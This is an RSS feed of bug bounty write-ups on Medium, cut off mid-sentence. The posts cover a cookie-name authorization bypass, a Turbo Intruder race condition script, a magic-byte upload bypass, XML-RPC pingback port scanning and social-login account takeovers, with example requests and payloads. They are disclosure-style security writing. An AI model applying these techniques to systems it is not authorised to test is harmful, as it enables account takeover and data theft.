<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hemdeep Gamit on Medium]]></title>
        <description><![CDATA[Stories by Hemdeep Gamit on Medium]]></description>
        <link>https://medium.com/@thehemdeep?source=rss-a523e0eaae77------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Hk5JYsRbTAGSzNu-c3kW4A.jpeg</url>
            <title>Stories by Hemdeep Gamit on Medium</title>
            <link>https://medium.com/@thehemdeep?source=rss-a523e0eaae77------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 22:12:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thehemdeep/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Breaking Business Logic — Part: 42–4= 2]]></title>
            <link>https://systemweakness.com/breaking-business-logic-part-42-4-2-d8509ef70436?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/d8509ef70436</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Thu, 13 Jun 2024 17:36:50 GMT</pubDate>
            <atom:updated>2024-06-18T20:01:32.454Z</atom:updated>
            <content:encoded><![CDATA[<h3>Breaking Business Logic — Part: 42–4= 2</h3><p>Hello Hunters &amp; Ninjas, Now I’m back with my new write-up, First of all request to accept my apology friends for this too late write-up, I’m writing this article probably after one and half year.</p><p>Now onwards I’ll try to write &amp; upload articles in short time. So now without wasting to much time Just lets start with the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuHnUj3zChD4jRCjL6pruw.jpeg" /></figure><p>I’m hunting on one application of an organization, this organization contains other organizational bodies as well which provide an different services and products.</p><p>So this application provide functionality for their different organizations employees to login with respective organizational credentails and access their customers data and product information.</p><p>But the rule is, one organizations user can’t access the other organizations data In it.</p><p>Due to privacy guidelines of the program I can’t disclose name of program or screenshots or anything. So lets take an example of below.</p><p>For example Wolkswagen is parent company of</p><p>Audi, Bently and Porche</p><p>According to the rule, Audi can’t access the Bently’s customer data and Porce as well irrespective to their parent organization.</p><p>Now come back to the application. So the application sends an GET request to fetch users data of their respective organization. The GET request looks like below.</p><p>Structure of GET Request</p><pre>GET /data/{organization}/users/{user_id} <br>Host: www.redacted.com</pre><p>GET Request to Fetch Audi’s Users Data Using Audi Employee Credentials</p><pre>GET /data/audi/users/122 HTTP/1.1<br>Host: www.redacted.com<br>Cookie:   _ga=GA1.2.515137240.1714924448; audi_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyMzk5MDAsIm9yZ25pemF0aW9uIjoiYXVkaSIsImxvZ2luIjo5MDAsInBlcm1pc3Npb25zIjoicix3In0.kRiBGnJ5eng7tFF-7iYfOx_5Tw_ZN9N1BYK2hS2ITwk; <br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://www.redacted.com/<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<br>Priority: u=1<br>Te: trailers<br>Connection: keep-alive</pre><p>GET Request to Fetch Bently’s Users Data Using Bently Employee Credentials</p><pre>GET /data/bently/users/127 HTTP/1.1<br>Host: www.redacted.com<br>Cookie:   _ga=GA1.2.515137240.1714545458; bently_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyMzk5MDAsIm9yZ25pemF0aW9uIjoiYmVudGx5IiwibG9naW4iOjcxMTAsInBlcm1pc3Npb25zIjoicix3LHUifQ.gczHSdWqnjqTrWMyzzYt22G3J1d0km9wfr6J_3sDCoc;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Referer: https://www.redacted.com/<br>Upgrade-Insecure-Requests: 1<br>Sec-Fetch-Dest: document<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-User: ?1<br>Priority: u=1<br>Te: trailers<br>Connection: keep-alive</pre><p><strong>So now I it’s time to break the logic :)</strong></p><p>Now I loggged In as <strong>Audi’s user</strong> and trying to fetch the <strong>Bently’s customer data</strong>.<br>After watching the GET request the first thing came Into my mind is to check for <strong>IDOR</strong> and I did, I just modify the organization name in the request from “audi” to bently which lookes like below.</p><p><strong>From</strong></p><p>GET /data/audi/users/122 HTTP/1.1<br>Host: <a href="http://www.redacted.com/">www.redacted.com</a></p><p><strong>To</strong></p><p>GET /data/bently/users/122 HTTP/1.1<br>Host: <a href="http://www.redacted.com/">www.redacted.com</a></p><p>But application throws an error in response like:<br><strong>“Unauthorized”</strong></p><p>Now I know that the application verifies the users identitiy, by what? you know, by the JWT which is in cookie parameter. Which looks like below.</p><pre>GET /data/audi/users/122 HTTP/1.1<br>Host: www.redacted.com<br>Cookie:  audi_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyMzk5MDAsIm9yZ25pemF0aW9uIjoiYXVkaSIsImxvZ2luIjo5MDAsInBlcm1pc3Npb25zIjoicix3In0.kRiBGnJ5eng7tFF-7iYfOx_5Tw_ZN9N1BYK2hS2ITwk;</pre><p>I decoded the JWT and It looks like below. (It’s an replica of JWT contains only necessary field names not an Actual token)</p><pre>HEADER<br>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}<br>PAYLOAD<br>{<br>  &quot;sub&quot;: &quot;1234567890&quot;,<br>  &quot;name&quot;: &quot;John Doe&quot;,<br>  &quot;iat&quot;: 1516239022,<br>  &quot;exp&quot;:1516239900,<br>  &quot;orgnization&quot;:&quot;audi&quot;,<br>  &quot;login&quot;:900,<br>  &quot;permissions&quot;:&quot;r,w&quot;<br>}<br>SIGNATURE<br>kRiBGnJ5eng7tFF-7iYfOx_5Tw_ZN9N1BYK2hS2ITwk</pre><p>You can see the <strong>“orgnization” </strong>parameter in <strong>PAYLOAD </strong>from that the user identity is verified.</p><p>Now I modified the JWT and set “<strong>orgnization</strong>” parameter value from “<strong>audi</strong>” to “<strong>bently</strong>”, and also change the algorithm which “alg” value in HEADER from “alg”:”<strong>HS256</strong>&quot; to “alg”:”<strong>None</strong>” which looks like below.<br>(Those who don’t know how to temper JWT, for that you can use JWT Editor an Burp Suite extension which you will find in extension-&gt;BApp store of Burp Suite Tab)</p><pre>HEADER<br>{<br>  &quot;alg&quot;: &quot;None&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}<br>PAYLOAD<br>{<br>  &quot;sub&quot;: &quot;1234567890&quot;,<br>  &quot;name&quot;: &quot;John Doe&quot;,<br>  &quot;iat&quot;: 1516239022,<br>  &quot;exp&quot;:1516239900,<br>  &quot;orgnization&quot;:&quot;bently&quot;,<br>  &quot;login&quot;:900,<br>  &quot;permissions&quot;:&quot;r,w&quot;<br>}</pre><p>Now again I encoded this HEADER &amp; PAYLOAD and Removed the signature part and send the request but this time system show other error message like: <br> <strong>“MODIFIED TOKEN”</strong>.</p><p>LOL. Application verifies the token properly.</p><p>Now I thought that there is no chances to get other orginizations data, I think this is secure enough. So I thought I’ve move and check for other vulnerabilities.<br>But then I noticed the access_token names for the respective organizations employees login. which looks like below</p><p>For Audi</p><pre>Cookie:   audi_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ikp</pre><p>tokenname = <strong>“audi_accesstoken”</strong></p><p>For Bently</p><pre>Cookie:   bently_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik</pre><p>tokenname = “<strong>bently_accesstoken</strong>”</p><p>And I thought let’s take a last chance.</p><p>I modify the name of access token from “<strong>audi_accesstoken</strong>=” to “<strong>bently_accesstoken</strong>=” and leaves the JWT as it is and modify the <strong>organization name</strong> in <strong>URL </strong>which looks like below.</p><p>From</p><pre>GET /data/audi/users/122 HTTP/1.1<br>Host: www.redacted.com<br>Cookie:   _ga=GA1.2.515137240.1714924448; audi_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyMzk5MDAsIm9yZ25pemF0aW9uIjoiYXVkaSIsImxvZ2luIjo5MDAsInBlcm1pc3Npb25zIjoicix3In0.kRiBGnJ5eng7tFF-7iYfOx_5Tw_ZN9N1BYK2hS2ITwk;</pre><p>To</p><pre>GET /data/bently/users/122 HTTP/1.1<br>Host: www.redacted.com<br>Cookie:   _ga=GA1.2.515137240.1714924448; bently_accesstoken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyMzk5MDAsIm9yZ25pemF0aW9uIjoiYXVkaSIsImxvZ2luIjo5MDAsInBlcm1pc3Npb25zIjoicix3In0.kRiBGnJ5eng7tFF-7iYfOx_5Tw_ZN9N1BYK2hS2ITwk;</pre><p>I just send the request And guess what? I’m successfully able to fetch the Bently users data while login with Audi account.</p><p>Suprisingly the application verifies the <strong>token_name </strong>instead of token_value (which is JWT PAYLOAD)for the authorization.</p><p>“The Last Ball Win” :)</p><p>Sometimes developers did silly mistakes.</p><p>So that’s all for this write-up guys, I had to Type a LOT for this aritcle . ) LOL, anyway anything for community.</p><p>Thank you for reading guys, Keep Sharing your knowledge and experiences with the community and Stay Safe, Stay Happy, Stay Positive.</p><p>Jai Hind, Vande Mataram 🙏</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8509ef70436" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/breaking-business-logic-part-42-4-2-d8509ef70436">Breaking Business Logic — Part: 42–4= 2</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking Business Logic - Part: 2^7 = 1]]></title>
            <link>https://systemweakness.com/breaking-business-logic-part-2-7-1-f19924b18783?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/f19924b18783</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Sun, 02 Oct 2022 11:35:46 GMT</pubDate>
            <atom:updated>2022-11-10T17:41:07.054Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters &amp; Ninjas, In a very short span of time this article has been published because I’m a very consistent person in writing blogs as I’ve maintained my consistency in publishing a single write-ups after 4-5 months…LOL. Okay, Jokes apart. Today I’m going to write about Race Conditions which I found in one of the programs. Now without taking to much let’s just start with the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*maTnUjNTBPjMg6Mg8_MqWA.jpeg" /></figure><p>So this application allows its users to create a team, in which admin can create team and add others users in his team and perform developers related tasks. <br>A premium user has permission to add multiple teams but for free account, user allow to add only one team not more than that. If you try to add multiple times application denies to add more than one team.</p><p>So Now It’s time break the logic.</p><p>1. First off all I’ve click on add team form and fill up the form and click on submit.</p><p>2. I just intercepted the request and send to Turbo-Intruder and after that drop the current request.<br>Those who doesn’t aware about the Turbo Intruder, It’s an very awesome addon of burp-suite to perform Race-Condition and Brute-Forcing Tasks, this also available in Burp-Suite Community addition as well, you can use below screen-shot for your reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6dSPu_RWCMmEx613u9s-eA.png" /></figure><p>3. Now the code for the Race Condition which is I’ve used is looks like below. You can find this anywhere on internet but I’ve paste code here for your convenience.</p><pre># Find more example scripts at <a href="https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py">https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py</a><br>def queueRequests(target, wordlists):<br>    engine = RequestEngine(endpoint=target.endpoint,<br>                           concurrentConnections=30,<br>                           requestsPerConnection=30,<br>                           pipeline=False<br>                           )</pre><pre># the &#39;gate&#39; argument blocks the final byte of each request until openGate is invoked<br>    for i in range(30):<br>        engine.queue(target.req, target.baseInput, gate=&#39;race1&#39;)</pre><pre># wait until every &#39;race1&#39; tagged request is ready<br>    # then send the final byte of each request<br>    # (this method is non-blocking, just like queue)<br>    engine.openGate(&#39;race1&#39;)</pre><pre>engine.complete(timeout=60)</pre><pre>def handleResponse(req, interesting):<br>    table.add(req)</pre><p>4. The above code will create 30 concurrent request with the 30 concurrent connections, you can increase or decrease as per you convenience.</p><p>5. To perform this type of race condition you have to add Payload in request header indicated as (%s), it will add extra header as payload. Which look like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvuiCYbh67S7Obzk645FMw.png" /></figure><p>6. Now just click on attack and the output looks like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TXpf-JGz6WuYfBFSuqzWrg.png" /></figure><p>The application has Race Condition. Application is not validate the resource state on multiple requests at the same time.</p><p>Okay that’s it for this articles guys the second one will come soon. Soon means soon not after the months . )</p><p>Thank you for reading guys, Keep Sharing your knowledge and experiences with the community and Stay Safe, Stay Happy and Be Positive.</p><p>Jai Hind, Vande Mataram. 🙏</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f19924b18783" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/breaking-business-logic-part-2-7-1-f19924b18783">Breaking Business Logic - Part: 2^7 = 1</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing File Upload Restriction using Magic Bytes]]></title>
            <link>https://systemweakness.com/bypassing-file-upload-restriction-using-magic-bytes-eb13e801f264?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb13e801f264</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Sat, 30 Apr 2022 10:47:12 GMT</pubDate>
            <atom:updated>2022-05-04T11:16:10.146Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters &amp; Ninjas, Article is very late, for that accept my apology. Today I’m going to write about one of my findings in which an attacker can bypass file upload restrictions using the magic bytes. So now let the hunt begin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khKS32uXmelzqL2V9UK8IA.jpeg" /></figure><p><strong>What are magic bytes?</strong><br>A magic byte is nothing but the first few bytes of a file that is used to recognize a file. It is not visible if you open the file.</p><p>So this application is like an online shopping site let’s called redacted.com in which the user has the functionality to upload a bill to the vendor for any issue related to a discount or product.</p><p>Application only allows files with extensions like : “jpeg,png,jpg,pdf”.</p><p>Now I’ve try to upload files with .html file but the application doesn’t <br>allow as restrictions placed on the server-side, it only allows to load in file upload control as there is no client-side validation of the extension.</p><p>I tried to change the “content-Type: text/html” header to “application/pdf” but it didn’t work.</p><p>Okay, now I’ve tried to upload a pdf file with HTML content(to check if it parses the HTML content or not?) but also has not worked.</p><p>Now I understand that the function read the file content, not the file extension.</p><p>So now my mind strikes and I thought why not try with magic bytes. And I did that.</p><p>I tried with jpeg file’s magic byte which is (FF D8 FF E0).</p><p><strong>Steps:</strong></p><p>Content of Test.html (File to upload) looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35ZGhAL-OUUKzdkqNuHCCA.png" /></figure><p>And the hex value of Test.html looks like.</p><p>Comm-and: hexeditor Test.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1h2gVK75iwTrZmHT2sPCw.png" /></figure><p>Now I’ve to add jpeg file’s bytes at the beginning, so I’ve added four dots(.) at the begging of HTML file for extra values so that the content of HTML file doesn’t change. Which looks like below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4_eigpByqTWTAT1S-cA5Uw.png" /></figure><p>The Hex value for before add magic bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3Wr42ZyNnP_8NzJvGhhzw.png" /></figure><p>After adding the magic bytes.</p><p>Command : hexeditor -b Test.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKqFQeOoY_V3UAntmF1W1w.png" /></figure><p>Save this file as Filename.html.</p><p>After that, I uploaded the HTML file and successfully bypassed the file upload restriction.</p><p>For more magic bytes please follow below URL.<br><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></p><p>Thank you for reading guys, Keep Sharing your knowledge and experiences with the community and Stay Safe, Stay Happy and Be Positive.</p><p><strong>Jai Hind, Vande Mataram.🙏</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb13e801f264" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bypassing-file-upload-restriction-using-magic-bytes-eb13e801f264">Bypassing File Upload Restriction using Magic Bytes</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross Site Port Attack in Wild]]></title>
            <link>https://thehemdeep.medium.com/cross-site-port-attack-in-wild-9d2f6af36455?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d2f6af36455</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Tue, 18 Jan 2022 08:43:41 GMT</pubDate>
            <atom:updated>2022-01-18T08:43:41.511Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunter, Sorry for the delay of post and this is my first post in this year, I hope you’re all doing well and happy. So without wasting any time let’s just start with attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AoC_DMW9nRj0WDgTHOHXYg.jpeg" /></figure><p><strong>Summary</strong>:<br>Cross Site Port Attack is an abbreviation of XSPA. In this attack an application processes user supplied URLs and does not verify or sanitize the back end response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself. The responses, in certain cases, can be studied to identify service availability like open ports , banner versions etc. and even fetch data from remote services in an unconventional ways.</p><p>What is xmlrpc.php?</p><p>XML-RPC is a feature of WordPress that enables data to be transmitted, with HTTP acting as the transport mechanism and XML as the encoding mechanism. Since WordPress isn’t a self-enclosed system and occasionally needs to communicate with other systems, this was sought to handle that job.</p><p>For example, let’s say you wanted to post to your site from your mobile device since your computer was nowhere nearby. You could use the remote access feature enabled by xmlrpc.php to do just that.</p><p>So just start with attack.</p><p>As I try to hunt on target let’s called redacted.com. It’s an Wordpress site.(Used wapplyzer addon for recon).<br>So directly hit URL like <a href="https://redacted.com/xmlrpc.php">https://redacted.com/xmlrpc.php</a> -&gt; To check weather xmlrpc.php file is enabled or not. This shows me message like below.</p><p>“XML-RPC server accepts POST requests only.”</p><p>This means we can call this file but via POST request only. You may think we can exploit this now because It’s not disabled but wait a minute as I’ve face some application in which user can call xmlrpc.php file and list the available methods only but can not exploit it because restriction was configured on servers. But in this case it was fully accessible.</p><p>Now I’ve change the request GET to POST and list the available methods using below code.</p><p>&lt;methodCall&gt;<br>&lt;methodName&gt;system.listMethods&lt;/methodName&gt;’<br>&lt;params&gt;&lt;/params&gt;<br>&lt;/methodCall&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Daf1BVl4b6aFjk2ZbQy-Lg.png" /></figure><p>You will be able to see “pingback.ping” method. Pingback allows you to notify other bloggers that you have linked to their article on your website.</p><p>Now I’ve just call my server which is NGROK with an valid post of redacted.com using below code.</p><p>&lt;methodCall&gt;<br>&lt;methodName&gt;pingback.ping&lt;/methodName&gt;<br>&lt;params&gt;&lt;param&gt;<br>&lt;value&gt;&lt;string&gt;http://&lt;YOUR SERVER &gt;:&lt;port&gt;&lt;/string&gt;&lt;/value&gt;<br>&lt;/param&gt;&lt;param&gt;&lt;value&gt;&lt;string&gt;http://&lt;SOME VALID BLOG FROM THE SITE &gt;&lt;/string&gt;<br>&lt;/value&gt;&lt;/param&gt;&lt;/params&gt;<br>&lt;/methodCall&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRj6YSVssgUecPY9p4p7ZQ.png" /></figure><p>Now I’ve received the request on my NGROK server. If the fault code is greater than 0 then the port is open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*QEVdRnIJ6MTGNUt_VD_kSg.png" /></figure><p>Impact (Cr. Mr. Jerry Shah) :<br>1.Port scanning remote Internet facing servers<br>2.Port scanning Intranet<br>3.Port scanning local web server<br>4.Exploit vulnerable programs running on intranet or on local web server<br>5.Attacking internal and external web applications that are vulnerable to GET parameter based vulnerabilities such as SQLi<br>6.Reading local web server files using the file:/// protocol handler</p><p>As It’s sufficient enough to report this bug, so I’ve make an report and submit to a responsible program.</p><p>Please go through this awesome writeups by Mr. Jerry Shah <a href="https://shahjerry33.medium.com/cross-site-port-attack-a-strangers-call-c2467f93792f"><em>link</em></a><em> and Mr. Bilal Rizwan </em><a href="https://the-bilal-rizwan.medium.com/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32"><em>link</em></a><em>.</em></p><p>Code Cr. (Mr. <a href="https://medium.com/u/e44ee7c04069">+Bilal Rizwan</a>)</p><p>Summary and Impact Cr.(Mr. <a href="https://medium.com/u/f60cf954292f">Jerry Shah (Jerry)</a>)</p><p>Thank for you for reading guys, stay safe , stay healthy and keep sharing your knowledge with community.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d2f6af36455" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Misconfigured Social Login(OAuth) Leads to Permanent account access]]></title>
            <link>https://thehemdeep.medium.com/misconfigured-social-login-leads-to-permanent-account-access-41a907d6bef5?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/41a907d6bef5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Wed, 24 Nov 2021 19:07:21 GMT</pubDate>
            <atom:updated>2022-01-10T10:57:10.678Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters, This article is about one of my finding in which an user can access the account which is not belong to him via social login. Without wasting any time let’s just start with attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4VaABtPfudz5m5lV" /></figure><p>An application allows user to register themselves using the FORM registration and using social logins which is(GOOGLE, Twitter, GitHub).</p><p>Now I’ve register using the FORM, and put the details and used email for ex. <a href="/service/mailto:ATTACKER@GMAIL.com">ATTACKER@GMAIL.com</a>.</p><p>Surprisingly there is no email notification about the registration, this blown my mind.</p><p>Now I’m logout from account and again login but this time I’ve use GOOGLE Authentication.</p><p>I’m successfully logged in the account and the my social login provider status looks like below.</p><p><strong>GOOGLE: Connected</strong><br>Twitter :<br>GitHub:</p><p>Now I just visit the change email page and change my email from <a href="/service/mailto:ATTACKER@GMAIL.COM">ATTACKER@GMAIL.COM</a> to <a href="/service/mailto:VICTIM@GMAIL.COM">VICTIM@GMAIL.COM</a> which is not register yet in application.</p><p>Now I’m logout from the application and again login with GOOGLE Authentication of <a href="/service/mailto:ATTACKER@GMAIL.COM">ATTACKER@GMAIL.COM</a> and I’m successfully logged in the account.</p><p>It’s time for victim registration, when the victim tries to register using <a href="/service/mailto:VICTIM@GMAIL.COM">VICTIM@GMAIL.COM</a> email then application throws and error says that the user has already an account from this email.</p><p>Now the victim reset the password using the reset link and login in his account, but he forgot to disconnect the social login.</p><p>I’ve just again try to login with GOOGLE Authentication of <a href="/service/mailto:ATTACKER@GMAIL.COM">ATTACKER@GMAIL.COM</a> and again I’m successfully logged in.</p><p><strong>Impact :</strong> An attacker has persistent account access to the victims account and can use all the functionality which is done by any legitimate user without their consent. No matter how many times the victim changes his password, an attacker has still access to the victims account till the social login is disconnected.</p><p><strong>Remediation:</strong></p><p>1. Disconnect the social logins when the email has been changed.</p><p>2. If possible try to confirm the email address or send notification to email at register and change email address functionality.</p><p>I immediately make an report about this and submit to the responsible program but unfortunately it marked as duplicate. LOL. It happens. :)</p><p>Thank you for reading guys, Stay Safe, Stay Healthy.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41a907d6bef5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pre-Authentication Account Take-Over]]></title>
            <link>https://thehemdeep.medium.com/pre-authentication-account-take-over-433764751cce?source=rss-a523e0eaae77------2</link>
            <guid isPermaLink="false">https://medium.com/p/433764751cce</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hemdeep Gamit]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 07:18:10 GMT</pubDate>
            <atom:updated>2021-11-19T07:18:10.545Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters, Today I’m going to tell about one of my interesting and rare finding which is Pre-Authentication Account Take-Over.</p><p>For who doesn’t know about the what is the attack is all about, I would like suggest to first go through this Awesome Write Up by Mr. Harsh Bothra <a href="https://hbothra22.medium.com/attacking-social-logins-pre-authentication-account-takeover-790248cfdc3">Link</a>, you will find very verbose details about this attack, as I also get the idea of this attack from this write up.</p><p>So let’s begin with the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*C66BrcMKguXwdr7Raw1-Jw.jpeg" /></figure><p>This is an private program so I’m not going to disclose program name, let’s called xyz.com.</p><p>Now the xyz.com allows user to register himself using the registration form or Social Login which is google.</p><ol><li>I’ve just choose to register through the FORM, so I put my email address as <a href="/service/mailto:victim@gmail.com">victim@gmail.com</a> (which in real case victim’s email) and register my self, but one interesting thing happen which is there no email verification done by the application. Now I’ve access to all the functionality of the application without any restriction.</li></ol><p>2. Now I just logout from the application, navigate to the registration page.</p><p>3. Then after I’ve try to register through Google Authentication using mail <a href="/service/mailto:victim@gmail.com">victim@gmail.com</a> and guess what I’m successfully login access all the previous details which is submit through the form registration without any warning or message that the user is already register.</p><p>4. Now I’ve just change something in data and just logout from the account.</p><p>5. Then after I’ve to login with email and password and I’m successfully login in application with got access the account with changed data done by the victim user.</p><p>I’ve just make an Report and submit to the program, But didn’t get any response yet and this happens many times and I’m not going to bother them with more than one remainder mail as this is an private program.</p><p>So for more clarification of attack please read below steps (Cr. Mr. <a href="https://medium.com/u/54fa249211d2">Harsh Bothra</a>).</p><ol><li><strong>[Attacker Step]</strong> Navigate to the target application and register a new account using the victim user’s email. Since the application also has a Google Authentication option, I used a Gmail account for registration as a victim account.</li><li>Observe that the application successfully logs in a user upon registration process completion, and all the features of the applications are accessible.</li><li>Now, log out and navigate back to the target application’s login functionality.</li><li><strong>[Victim Step]</strong> This time, use Google Authentication and login to the application using the same Email address that is used in <strong>Step-1</strong></li><li>Observe that the login is successful and the victim user can access the application. Then, perform any changes in the application, such as profile update.</li><li><strong>[Attacker Step] </strong>Now, In a separate browser window, attempt to log in using the Email: Password used for registration in <strong>Step-1</strong> .</li><li>Observe that the attacker is successfully logged in to the victim user’s account and can see all the changes that the victim performed.</li><li>This allows an attacker to keep persistence access in the victim user’s account as long as the victim manually changes the account’s password.</li></ol><p><strong>Impact</strong></p><ol><li>Since there is no email confirmation, an attacker can easily create an account in the application using the Victim’s Email. This allows an attacker to gain pre-authentication to the victim’s account.</li><li>Further, due to the lack of proper validation of email coming from Social Login and failing to check if an account already exists, the victim will not identify if an account is already existing. Hence, the 